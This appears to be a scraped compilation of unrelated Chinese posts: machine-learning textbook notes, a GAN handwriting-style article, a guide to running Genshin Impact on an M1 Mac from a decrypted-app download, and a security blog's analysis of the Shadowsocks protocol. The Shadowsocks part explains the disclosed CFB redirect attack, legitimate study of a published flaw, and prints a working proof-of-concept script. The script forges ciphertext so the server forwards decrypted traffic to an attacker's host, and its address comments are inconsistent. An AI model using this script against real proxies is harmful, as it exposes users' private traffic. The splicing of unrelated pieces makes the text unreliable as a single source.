  • 搜索。有时,我们不仅仅希望输出一个类别或一个实值。 在信息检索领域,我们希望对一组项目进行排序。

  • 推荐系统(recommender system),它的目标是向特定用户进行“个性化”推荐。 关于如何处理审查、激励和反馈循环的许多问题,都是重要的开放性研究问题。

  • 序列学习。

    以上大多数问题都具有固定大小的输入和产生固定大小的输出。 但是如果输入是连续的,模型可能就需要拥有“记忆”功能。 比如,我们该如何处理视频片段呢? 在这种情况下,每个视频片段可能由不同数量的帧组成。 通过前一帧的图像,我们可能对后一帧中发生的事情更有把握。 语言也是如此,机器翻译的输入和输出都为文字序列。

    • 标记和解析。这涉及到用属性注释文本序列。
    • 自动语音识别。在语音识别中,输入序列是说话人的录音(如 图1.3.5 所示),输出序列是说话人所说内容的文本记录。 它的挑战在于,与文本相比,音频帧多得多(声音通常以8kHz或16kHz采样)。 也就是说,音频和文本之间没有1:1的对应关系,因为数千个样本可能对应于一个单独的单词。 这也是“序列到序列”的学习问题,其中输出比输入短得多。
    • 文本到语音。这与自动语音识别相反。
    • 机器翻译。 在语音识别中,输入和输出的出现顺序基本相同。 而在机器翻译中,颠倒输入和输出的顺序非常重要。

打趣一下,“监督学习”模型像一个打工仔,有一份极其专业的工作和一位极其平庸的老板。 老板站在身后,准确地告诉模型在每种情况下应该做什么,直到模型学会从情况到行动的映射。 取悦这位老板很容易,只需尽快识别出模式并模仿他们的行为即可。

1.2 无监督学习

解决的问题:

  • 聚类(clustering)问题:没有标签的情况下,我们是否能给数据分类呢?
  • 主成分分析(principal component analysis)问题:我们能否找到少量的参数来准确地捕捉数据的线性相关属性?比如,一个球的运动轨迹可以用球的速度、直径和质量来描述。
  • 因果关系(causality)和概率图模型(probabilistic graphical models)问题:我们能否描述观察到的许多数据的根本原因?例如,如果我们有关于房价、污染、犯罪、地理位置、教育和工资的人口统计数据,我们能否简单地根据经验数据发现它们之间的关系?
  • 生成对抗性网络(generative adversarial networks):为我们提供一种合成数据的方法,甚至像图像和音频这样复杂的非结构化数据。潜在的统计机制是检查真实和虚假数据是否相同的测试,它是无监督学习的另一个重要而令人兴奋的领域。

1.3 强化学习

不管是监督学习还是无监督学习,我们都会预先获取大量数据,然后启动模型,不再与环境交互。 这里所有学习都是在算法与环境断开后进行的,被称为离线学习(offline learning)

这种简单的离线学习有它的魅力。 好的一面是,我们可以孤立地进行模式识别,而不必分心于其他问题。 但缺点是,解决的问题相当有限。 这时我们可能会期望人工智能不仅能够做出预测,而且能够与真实环境互动。 与预测不同,“与真实环境互动”实际上会影响环境。 这里的人工智能是“智能代理”,而不仅是“预测模型”。 因此,我们必须考虑到它的行为可能会影响未来的观察结果。

在强化学习问题中,智能体(agent)在一系列的时间步骤上与环境交互。 在每个特定时间点,智能体从环境接收一些观察(observation),并且必须选择一个动作(action),然后通过某种机制(有时称为执行器)将其传输回环境,最后智能体从环境中获得奖励(reward)。 此后新一轮循环开始,智能体接收后续观察,并选择后续操作,依此类推。 请注意,强化学习的目标是产生一个好的策略(policy)。 强化学习智能体选择的“动作”受策略控制,即一个从环境观察映射到行动的功能。

强化学习框架的通用性十分强大。 例如,我们可以将任何监督学习问题转化为强化学习问题。 假设我们有一个分类问题,可以创建一个强化学习智能体,每个分类对应一个“动作”。 然后,我们可以创建一个环境,该环境给予智能体的奖励。 这个奖励与原始监督学习问题的损失函数是一致的。

当然,强化学习还可以解决许多监督学习无法解决的问题。 例如,在监督学习中,我们总是希望输入与正确的标签相关联。 但在强化学习中,我们并不假设环境告诉智能体每个观测的最优动作。 一般来说,智能体只是得到一些奖励。 此外,环境甚至可能不会告诉是哪些行为导致了奖励。

以强化学习在国际象棋的应用为例。 唯一真正的奖励信号出现在游戏结束时:当智能体获胜时,智能体可以得到奖励1;当智能体失败时,智能体将得到奖励-1。 因此,强化学习者必须处理学分分配(credit assignment)问题:决定哪些行为是值得奖励的,哪些行为是需要惩罚的。 就像一个员工升职一样,这次升职很可能反映了前一年的大量的行动。 要想在未来获得更多的晋升,就需要弄清楚这一过程中哪些行为导致了晋升。

强化学习可能还必须处理部分可观测性问题。 也就是说,当前的观察结果可能无法阐述有关当前状态的所有信息。 比方说,一个清洁机器人发现自己被困在一个许多相同的壁橱的房子里。 推断机器人的精确位置(从而推断其状态),需要在进入壁橱之前考虑它之前的观察结果。

最后,在任何时间点上,强化学习智能体可能知道一个好的策略,但可能有许多更好的策略从未尝试过的。 强化学习智能体必须不断地做出选择:是应该利用当前最好的策略,还是探索新的策略空间(放弃一些短期回报来换取知识)。

一般的强化学习问题是一个非常普遍的问题。 智能体的动作会影响后续的观察,而奖励只与所选的动作相对应。 环境可以是完整观察到的,也可以是部分观察到的,解释所有这些复杂性可能会对研究人员要求太高。 此外,并不是每个实际问题都表现出所有这些复杂性。 因此,学者们研究了一些特殊情况下的强化学习问题。

当环境可被完全观察到时,强化学习问题被称为马尔可夫决策过程(markov decision process)。 当状态不依赖于之前的操作时,我们称该问题为上下文赌博机(contextual bandit problem)。 当没有状态,只有一组最初未知回报的可用动作时,这个问题就是经典的多臂赌博机(multi-armed bandit problem)。

1.4 总结

  • 机器学习研究计算机系统如何利用经验(通常是数据)来提高特定任务的性能。它结合了统计学、数据挖掘和优化的思想。通常,它是被用作实现人工智能解决方案的一种手段。
  • 表示学习作为机器学习的一类,其研究的重点是如何自动找到合适的数据表示方式。深度学习是通过学习多层次的转换来进行的多层次的表示学习。
  • 深度学习不仅取代了传统机器学习的浅层模型,而且取代了劳动密集型的特征工程。
  • 最近在深度学习方面取得的许多进展,大都是由廉价传感器和互联网规模应用所产生的大量数据,以及(通过GPU)算力的突破来触发的。
  • 整个系统优化是获得高性能的关键环节。有效的深度学习框架的开源使得这一点的设计和实现变得非常容易。

来也科技利用GAN在手写生成上探索

原文:https://laiye.com/news/post/2582.html

  1. 导读

  2. 最早期的GAN
    1. 结构
    2. 损失函数
  3. 一些GAN的改进
    1. DCGAN
    2. WGAN
    3. 关于模式崩溃与梯度消失
  4. GAN的应用–图到图翻译、风格迁移
    1. cGAN
    2. pix2pix
    3. CycleGAN
  5. 来也科技基于GAN的手写字体风格迁移实践
    1. 基于BicycleGAN的手写风格迁移实践
      1. 模型简介
      2. 具体实践
    2. 基于Zi2Zi的手写汉字风格迁移实践

      1. 模型简介
      2. 具体实践
    3. 总结
  6. GAN的优缺点分析

  7. 训练GAN的技巧

  8. 应用场景

  9. 参考资料

1. 导读

自2014年Ian Goodfellow提出生成对抗网络(Generative Adversarial Networks,GAN)以来,GAN的变种层出不穷。研究者们从不同方向对GAN进行深入研究,其中包括通过数学推导对GAN损失函数的各种优化(例如Wasserstein-loss,LS-loss等)、对模型结构的各种尝试(如DCGAN等)。经过多年的发展,GAN踏足于多种视觉任务的子领域,比如风格迁移和图到图翻译。

2. 最早期的GAN

GAN的本质是希望得到一个映射关系G(·),将一个分布z(例如:均匀分布的随机噪声向量),映射到指定的分布G(z)上。

其中映射使用的参数通过学习得到,这样一来就得到了一个实现z → G(z)的模型。通过对输入随机变量z不断的采样、送进模型,就能得到许多不一样,但是符合某种分布的输出(也就是我们期望生成的数据,图像等),即一个生成器G。

问题是:如何训练才能使生成器G足够逼真?

常言道“魔高一尺道高一丈”,Ian等人提出了一种对抗训练的方法,同时训练生成器G和一个鉴别器D,构建两者的竞争关系,从而完成训练。两个子模型的任务如下:

  • G:不断生成自认为是“真实”的假数据(fake data)
  • D:判断数据为真的可能性,一般是个二分类器

训练流程一般先使用一些真实数据训练鉴别器D,使其拥有一定的鉴别能力。训练中正样本使用真实数据本身,负样本使用未经训练的G生成的数据。之后对抗训练整个网络,在每轮迭代中:

  1. 对噪声进行一个batch的采样作为本轮输入送入G,生成一个batch的fake data
  2. 将fake data标记为正样本,输入D,用于“欺骗”鉴别器,计算损失,更新G的参数

重复上述流程,一个好的GAN训练中,D的分类准确率不应一直太高或太低,动态维持准确率的波动才能说明GAN中的两个部分在进行对抗训练。否则,要么D太强导致G参数更新停滞,无法生成更真实的fake data;或者D太弱,导致G任意生成的fake data都会被认为是真实的,同样导致G偏离真实的分布学习。

一个原始GAN实现的样例代码:https://github.com/RikoLi/Keras-GAN/blob/master/gan/gan.py

结构

最原始的GAN使用多层感知机作为模型的主干:

图片

####

损失函数

GAN的优化目标V(D, G)如下所示:

图片

训练目标是令D能够最大化目标函数,同时G能够最小化目标函数,从而构建“对抗”训练。论文中给出了算法的收敛性证明,这里不做展开,有兴趣可以看一下原文的证明。我们只需要知道最终收敛的方向是朝着D结果为0.5前进的即可。

在这里一定要注意一点,V(D, G)并不是GAN的损失函数!对于输出D(x)或者D(G(z))进行log变换,我们得到的是对数似然(log-likelihood),因此V(D, G)表示的是一个似然函数。结合一点概率论的知识我们知道,极大似然估计是对分布模型参数估计的一种方式,此处对D的训练实际上就是极大似然估计的一种体现。只不过似然来自两部分,用真实数据x计算的以及用G(z)生成的,这也说明了为何对于D而言优化目标是最大化V。在真实计算中,损失函数只是二分类的交叉熵。

实际训练中,每一轮迭代如上文提到的分为两个阶段:先训练D,再训练整个GAN。其中训练D时使用所有与D相关的损失,因此此时用于更新D的梯度为:

图片

表示mini batch数量,x表示来自于真实数据的样本,theta_d表示D中待学习的参数。注意更新D的时候需要最大化目标函数,因此在使用梯度下降法进行迭代时一般将损失函数设计为目标函数V取负。

D训练完成后,开始训练整个GAN,此时应使用与G和D相关的损失并冻结D的权重,仅更新G的权重:

图片

theta_g是G的参数,此时直接进行梯度下降更新就可以了。

因此,在每一轮训练迭代中都保证D和G得到了训练,且训练方向是相互竞争的。


Mac M1 使用 playcover 运行原神

image-20230202下午21354966

先上结果图:

image-20230202下午21144116

我还是挺顺利的。用着 Macbook Air M1 运行了原神。下面记录一下过程:

  1. 官方文档:https://docs.playcover.io/Introduction

  2. 下载 Playcover: https://playcover.io

  3. 下载原神: https://decrypt.day

    image-20230202下午21628247

  4. 添加应用:

    image-20230201下午72906035

  5. 点击右键图像设置:

    image-20230201下午72921054

    image-20230201下午72929619

    image-20230201下午73000665

  6. 运行。

    注意下我第一次运行时原神无法接收到短信验证码,朋友没有遇到这种情况。查到了这个答案,最后我用手机流量当Wi-Fi,把这个问题跳过了:

    困扰了两天

    是因为原神用了第三方SDK,人机验证被mac的sip安全机制拦截,解决方法有二

    1、关闭SIP

    但我的是公司标准化的MAC,不想引发什么通报

    2、换个网…

    换成手机热点,再发送验证码时就不会弹出人际验证

    我真的,差点就以为中午不能用mac摸鱼了

    来自:https://www.zhihu.com/question/549810634

  7. 调整键盘映射。

    这一步我不做了,直接连接 switch 手柄玩。


ss的通信原理以及攻击方法分析 - wonderkun

原文:https://wonderkun.cc/2020/02/18/shadowsocks的通信原理以及攻击方法分析/

发现ss的通信协议出现了重大的安全问题,比较好奇,学习一下。

0x1 复习一下socks5 协议

socks5代理协议是一个非常轻量级,简单却实用的代理协议。整个协议其实就是在建立TCP连接之后,在真正的内容传输之前,加一点内容。

通讯中各部分的定义如下:

    /-> | Firewall(防火墙) | ->\
Client -> Server(代理服务器) -> Dst(目标地址)

第一步,Client与Server建立连接

建立TCP连接之后,Client发送如下数据:

+----+----------+----------+
|VER | NMETHODS | METHODS  |
+----+----------+----------+
| 1  |    1     | 1 to 255 |
+----+----------+----------+
  • VER 是指协议版本,因为是 socks5,所以值是 0x05,一个字节
  • NMETHODS 是指有多少个可以使用的方法,也就是客户端支持的认证方法,一个字节,有以下值:
    • 0x00 NO AUTHENTICATION REQUIRED 不需要认证
    • 0x01 GSSAPI 参考:https://en.wikipedia.org/wiki/Generic_Security_Services_Application_Program_Interface
    • 0x02 USERNAME/PASSWORD 用户名密码认证
    • 0x03 to 0x7f IANA ASSIGNED 一般不用。INNA保留。
    • 0x80 to 0xfe RESERVED FOR PRIVATE METHODS 保留作私有用处。
    • 0xFF NO ACCEPTABLE METHODS 不接受任何方法/没有合适的方法
  • METHODS 就是方法值,1-255个字节,有多少个方法就有多少个byte

第二步,Server返回可以使用的方法

收到Client的请求之后,Server选择一个自己也支持的认证方案,然后返回:

+----+--------+
|VER | METHOD |
+----+--------+
| 1  |   1    |
+----+--------+

VER 和 METHOD 的取值与上一节相同。

第三步,client 向 server 发送 Dst 的地址

+----+-----+-------+------+----------+----------+
|VER | CMD |  RSV  | ATYP | DST.ADDR | DST.PORT |
+----+-----+-------+------+----------+----------+
| 1  |  1  | X'00' |  1   | Variable |    2     |
+----+-----+-------+------+----------+----------+
  • VER 还是版本,取值是 0x05
  • CMD 是指要做啥,取值如下:
    • CONNECT 0x01 连接
    • BIND 0x02 端口监听(也就是在Server上监听一个端口)
    • UDP ASSOCIATE 0x03 使用UDP
  • RSV 是保留位,值是 0x00
  • ATYP 是目标地址类型,有如下取值:
    • 0x01 IPv4
    • 0x03 域名
    • 0x04 IPv6
  • DST.ADDR 就是目标地址的值了,如果是IPv4,那么就是4 bytes,如果是IPv6那么就是16 bytes,如果是域名,那么第一个字节代表接下来有多少个字节是表示目标地址
  • DST.PORT 两个字节代表端口号

第四步,服务端回复

+----+-----+-------+------+----------+----------+
|VER | REP |  RSV  | ATYP | BND.ADDR | BND.PORT |
+----+-----+-------+------+----------+----------+
| 1  |  1  | X'00' |  1   | Variable |    2     |
+----+-----+-------+------+----------+----------+
  • VER 还是版本,值是 0x05
  • REP 是状态码,取值如下:
    • 0x00 succeeded
    • 0x01 general SOCKS server failure
    • 0x02 connection not allowed by ruleset
    • 0x03 Network unreachable
    • 0x04 Host unreachable
    • 0x05 Connection refused
    • 0x06 TTL expired
    • 0x07 Command not supported
    • 0x08 Address type not supported
    • 0x09 to 0xff unassigned
  • RSV 保留位,取值为 0x00
  • ATYP 是目标地址类型,有如下取值:
    • 0x01 IPv4
    • 0x03 域名
    • 0x04 IPv6
  • DST.ADDR 就是目标地址的值了,如果是IPv4,那么就是4 bytes,如果是IPv6那么就是16 bytes,如果是域名,那么第一个字节代表接下来有多少个字节是表示目标地址
  • DST.PORT 两个字节代表端口号

第五步,开始传输流量

接下来就是流量传输了,clinet端将需要发送给dst的流量直接发送给server就可以了。

server端简单的代码实现

import socket, sys, select, SocketServer, struct, time 

class ThreadingTCPServer(SocketServer.ThreadingMixIn, SocketServer.TCPServer): pass
class Socks5Server(SocketServer.StreamRequestHandler): 
  def handle_tcp(self, sock, remote): 
    fdset = [sock, remote] 
    while True: 
      r, w, e = select.select(fdset, [], []) 
      if sock in r: 
        if remote.send(sock.recv(4096)) <= 0: break
      if remote in r: 
        if sock.send(remote.recv(4096)) <= 0: break
  def handle(self): 
    try: 
      pass # print 'from ', self.client_address nothing to do. 
      sock = self.connection 
      # 1. Version 
      sock.recv(262) 
      sock.send("\x05\x00"); 
      # 2. Request 
      data = self.rfile.read(4) 
      mode = ord(data[1]) 
      addrtype = ord(data[3]) 
      if addrtype == 1:    # IPv4 
        addr = socket.inet_ntoa(self.rfile.read(4)) 
      elif addrtype == 3:   # Domain name 
        addr = self.rfile.read(ord(sock.recv(1)[0])) 
      port = struct.unpack('>H', self.rfile.read(2)) 
      reply = "\x05\x00\x00\x01"
      try: 
        if mode == 1: # 1. Tcp connect 
          remote = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
          remote.connect((addr, port[0])) 
          pass # print 'To', addr, port[0] nothing do to. 
        else: 
          reply = "\x05\x07\x00\x01" # Command not supported 
        local = remote.getsockname() 
        reply += socket.inet_aton(local[0]) + struct.pack(">H", local[1])
      except socket.error: 
        # Connection refused 
        reply = '\x05\x05\x00\x01\x00\x00\x00\x00\x00\x00'
      sock.send(reply) 
      # 3. Transfering 
      if reply[1] == '\x00': # Success 
        if mode == 1:  # 1. Tcp connect 
          self.handle_tcp(sock, remote) 
    except socket.error: 
      pass #print 'error' nothing to do . 
    except IndexError: 
      pass
def main(): 
  filename = sys.argv[0]; 
  if len(sys.argv)<2: 
    print 'usage: ' + filename + ' port'
    sys.exit() 
  socks_port = int(sys.argv[1]);   
  server = ThreadingTCPServer(('', socks_port), Socks5Server) 
  print 'bind port: %d' % socks_port + ' ok!'
  server.serve_forever() 
if __name__ == '__main__': 
  main()

0x2 ss协议

阅读了一下ss的部分源码并抓包分析了一下通信过程。通过分析发现我对ss通信是基于socks5协议的这种说法的理解是完全不对的的,下面画一个ss通信的原理图。

http://pic.wonderkun.cc/uploads/2020/02/2020-02-17-16-14-40.png

ss由sslocal和ssserver两部分组成,而真正利用socks5协议进行通信的只有sslocal,sslocal和ssserver之间的通信用的是非常简陋的通信协议,或者说根本就没有用协议。

为了分析协议,ss的ssserver和sslocal的配置文件分别如下:

{
    "server":"127.0.0.1",  
    "server_port":7878,   
    "password":"password", 
    "timeout":60,          
    "method":"aes-256-cfb" 
}
{
    "server":"127.0.0.1",
    "server_port":7878,
    "local_port":1090,
    "password":"password",
    "timeout":600,
    "method":"aes-256-cfb"
}

下面结合wireshark抓流量进行分析。

sslocal与clinet端的通信

sslocal可以分为两个部分,第一个部分是socks5服务端,它负责监听本地的请求。另外一个部分是信息发送端,它负责向远程的ssserver发送数据包。这个节我们只分析 sslocal 作为 socks5 服务器的这一部分。

tcp.port==1090 过滤一下数据包,就会看到 socks5 协议的整个通信过程。

  1. 首先是 client 端发送请求建立连接的请求,发送的数据是 05 02 00 01

http://pic.wonderkun.cc/uploads/2020/02/2020-02-17-16-30-52.png

  1. sslocal的socks5服务器回复 05 00,表示不需要认证。

http://pic.wonderkun.cc/uploads/2020/02/2020-02-17-16-33-15.png

  1. clinet发送通信目标的ip和port

http://pic.wonderkun.cc/uploads/2020/02/2020-02-17-16-35-08.png

  1. sslocal的socks5服务器回复 05 00 00 01 00 00 00 00 10 10,对比上面的socks5通信协议会知道这里返回的ip是00 00 00 00,port 是 10 10,这俩都是假的值,因为 sslocal 并没有真实的和client要求的目标地址通信,而是向ssserver发起了请求。 http://pic.wonderkun.cc/uploads/2020/02/2020-02-17-16-36-03.png
  2. 接下来就是socks5数据传输过程。client段发送自己的请求,我这里是个http请求。

http://pic.wonderkun.cc/uploads/2020/02/2020-02-17-16-41-06.png

sslocal与ssserver的通信

sslocal发送给ssserver的数据

通过设置filter tcp.port==7878 获取 sslocal 发送给 ssserver的第一条数据如下:

http://pic.wonderkun.cc/uploads/2020/02/2020-02-17-16-52-27.png

因为不知道通信协议的格式,所以并不知道发送了什么数据,不过我们可以先看一下ss中的数据解密函数:

def decrypt(self, buf):
    if len(buf) == 0:
        return buf
    if self.decipher is None:
        decipher_iv_len = self._method_info[1]
        decipher_iv = buf[:decipher_iv_len]
        self.decipher = self.get_cipher(self.key, self.method, 0,
                                        iv=decipher_iv)
        buf = buf[decipher_iv_len:]
        if len(buf) == 0:
            return buf
    return self.decipher.update(buf)

通过这个函数,知道发送的数据前 decipher_iv_len 是加密所用的初始iv的长度,我这里用的加密算法是 aes-256-cfb,跟一下代码知道这里 decipher_iv_len是16。

所以 4222143a3190ce92e4aa8609a7036aeb 是iv,db55f138d80414873c3e792896935691dc3769f1ada0c0122c58e8e825298fc2b2a5a9eef3dd6ca2c4204b30c6814b28c0644744272b21d2b9b4a9b0ddfb35e082d82629cea42c87437ca1fabdde735f6c72bc95是数据,对数据进行解密,得到解密后的数据是01b7e8e7ac0050474554202f20485454502f312e310d0a486f73743a207777772e62616964752e636f6d0d0a557365722d4167656e743a206375726c2f372e36342e310d0a4163636570743a202a2f2a0d0a0d0a

转为ascii为:

http://pic.wonderkun.cc/uploads/2020/02/2020-02-17-17-07-41.png

前面是一段乱码吗,推测可能是通信的某些控制字段,后面跟着就是发送的http请求。

通过阅读ss的源代码,知道这条数据的格式如下:

+-----+-------+-------+------------------+
| 类型 | 目标  |  端口  |     数据          |
+-----+-------+-------+------------------+
| 1   | 变长   |   2   |     变长          |
+-----+-------+-------+------------------+
  • 类型
    • 0x1 目标部分是 IPV4 地址
    • 0x03 目标部分是域名,是变长字符串,第一个字节表示后面数据的长度。
    • 0x04 目标部分是一个 16 字节的 IPV6 地址
  • 数据部分就是用户原始的请求(TCP或UDP数据包部分)

ssserver发送给sslocal的数据

ssserver发送给sslocal的数据如下:

http://pic.wonderkun.cc/uploads/2020/02/2020-02-17-17-23-54.png

根据上面的经验解密之。

http://pic.wonderkun.cc/uploads/2020/02/2020-02-17-17-26-54.png

发现直接是目标返回的内容,ssserver没有添加任何额外的头部,直接把原始数据返回。

看完这个 ss 的通信过程,我真是给它跪了,这个通信设计的也太简单粗暴点了吧,数据完整性校验,压缩,签名一概都没有。只把ssloca和sserver之间的通信数据进行加密,通信过程做了iv的随机化,每次发送的数据都会带上本次加密的iv。这一点数据伪装都没做,哎,怪不得被gfw干趴下(可以自己稍微改造改造,加点数据伪装等,尝试过一下…)。

0x3 针对ss的通信的攻击

360公开了对ss流加密通信过程的攻击文章,https://github.com/edwardz246003/ss,比较感兴趣,就学习一下。

文中提到的重定向攻击原理也十分简单,但是设计却十分巧妙,感觉其实算是一种重放攻击,下面详细介绍一下这个攻击的原理。

复习分组密码CFB模式

CFB模式的全称是 Cipher FeedBack模式(密文反馈模式),在CFB模式中前一密文分组会被送到密码算法的输入端,进行下一分组的加密。

加密的流程如下图所示:

http://pic.wonderkun.cc/uploads/2020/02/2020-02-17-22-18-36.png

相反的解密流程如下所示:

http://pic.wonderkun.cc/uploads/2020/02/2020-02-17-22-19-24.png

现在只看解密流程,如果我们知道了 明文分组1密文分组1,接下来就可以通过构造一个fake_密文分组1,让ss解密来伪造一个任意的fake_明文分组1,原因如下:

首先初始化向量iv加密之后的值,这里记它为 enc_iv,那么有如下的等式:

`明文分组1` xor `密文分组1`  = `enc_iv`
`fake_密文分组1` xor `enc_iv` = `fake_明文分组1`
=> 
`enc_iv` xor `fake_明文分组1` = `fake_密文分组1`

通过这样的方式控制 fake_密文分组1 就可以构造任意的fake_明文分组1 了。

漏洞利用过程

通过上面协议的分析,可以得出 sslocal 发送给 ssserver 的数据格式为:

随机IV + encrypt([ 1-byte type][variable-length host][2-byte port][payload])

ssserver 发送给 sslocal 的数据格式为:

随机IV + encrypt([payload])

如果我们拿到了 ssserver 发送给 sslocal 的数据,使用常规的非暴力手段是无法解密的,但是如果我们知道了此数据的前7个字节,那么就可以利用上面介绍的CFB明文伪造攻击将 fake_明文分组1 的前7个字节伪造为 [ 1-byte type][variable-length host][2-byte port] ,然后把此数据包做为 sslocal 发送给 ssserver 的数据,发给 ssserver。 因为数据 [ 1-byte type][variable-length host][2-byte port]的内容可以完全被我们控制,所以将目标地址修改为我们自己的服务器,然后 ssserver 就会把解密完的数据发送到我们自己的服务器上,工作过程如下所示:

ss-local(fake one) <--[encrypted]--> ss-remote <---> target(controlled)

那关键问题是怎么知道加密数据的前7个字节的明文呢?论文中提供了一种方法,如果用户使用 ss 进行 http 通信,那么响应的前7个字节是HTTP/1.,我们可以利用这7个字节来解密整个数据包。 具体的代码实现如下:

c=c.decode('hex')
#c=up(c)
prefix_http='HTTP/1.'
targetIP='\x01\x27\x6c\x05\x37\x1e\x61' # malicous target IP address: 192.168.1.3:4626
x=xor(prefix_http,targetIP)
 
y=c[16:16+7]
z=xor(x,y)
cipertext=c[0:16]+z+c[16+7:]
import socket
obj = socket.socket()
print ("begin\n")
obj.connect(("127.0.0.1",7878))# ss-server is running on 192.168.1.2:8899
obj.send(cipertext)# send the payload to construct a redirect tunnel

因为修改了第一个密文分组,所以解密出来的第二个明文分组是不正确的,如下图所示,有16个字节的错误数据:

http://pic.wonderkun.cc/uploads/2020/02/2020-02-17-23-56-23.png

因为不知道到底哪个数据包传输的内容是 http 协议,所以需要多试几次,直到解密成功一个为止。 一旦解密成功,就可以知道一段密文分组经过key加密之后的值,就可以反解出key,进而破解所有数据包。

参考文章